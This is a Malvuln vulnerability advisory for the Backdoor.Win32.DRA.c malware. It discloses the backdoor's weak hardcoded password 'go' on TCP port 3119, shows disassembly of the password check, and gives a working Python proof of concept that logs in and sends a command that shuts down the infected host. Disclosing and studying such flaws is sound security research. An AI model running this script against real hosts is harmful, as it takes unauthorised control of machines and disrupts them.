Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/5ff832ce6af4b03a709eaf380672cf34.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.DRA.c Vulnerability: Weak Hardcoded Password Description: The malware listens on TCP port 3119 and authentication is required. However, the password "go" is weak and hardcoded in the PE file. The malware uses "lstrcmpa" Win32 API to check the password, when sending the password we need to be careful that there is no line feed "\n" E.g. "go\n", as what happens when sent using ncat or telnet causing authentication to fail. 00401317 jz loc_401218 0040131D push offset aGo ; "go" 00401322 push offset buf ; lpString1 00401327 call lstrcmpA 0040131D | 68 7C 40 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 40407C "go" 00401322 | 68 8C 46 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 00401327 | E8 F4 0C 00 00 | call <backdoor.win32.dra.c.5ff832ce6af4 | 0040132C | 83 F8 00 | cmp eax,0 | 0040132F | 74 2C | je backdoor.win32.dra.c.5ff832ce6af4b03 | 00401331 | 6A 00 | push 0 | 00401333 | 6A 11 | push 11 | 00401335 | 68 11 4C 40 00 | push backdoor.win32.dra.c.5ff832ce6af4b | 404C11 "invalid password." 0040133A | FF 35 16 4B 40 00 | push dword ptr ds:[404B16] | 00401340 | E8 53 0D 00 00 | call <backdoor.win32.dra.c.5ff832ce6af4 | 00401345 | 83 F8 FF | cmp eax,FFFFFFFF | Type: PE32 MD5: 5ff832ce6af4b03a709eaf380672cf34 Vuln ID: MVID-2022-0470 Disclosure: 01/24/2022 Exploit/PoC: Using ncat, telnet will fail as it sends a new line "\n", so we use a makeshift Python agent. Sending the command "Run z\r\n" will initiate a shutdown of the infected host. from socket import * import time MALWARE_HOST="x.x.x.x" PORT=3119 def conn(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) return s def chk_res(s): res="" while True: res += s.recv(512) if "Connected :-) !" in res or "invalid password" in res: break return res def doit(): s=conn() #Bad passwd PAYLOAD="hate\r\n" s.send(PAYLOAD) print(chk_res(s)) s.close() time.sleep(1) s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) #Correct passwd PAYLOAD="go" s.send(PAYLOAD) print(chk_res(s)) time.sleep(1) #initiates a shutdown of the infected machine #s.send("Run c\r\n") s.send("Run z\r\n") s.close() if __name__=="__main__": doit() print("Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).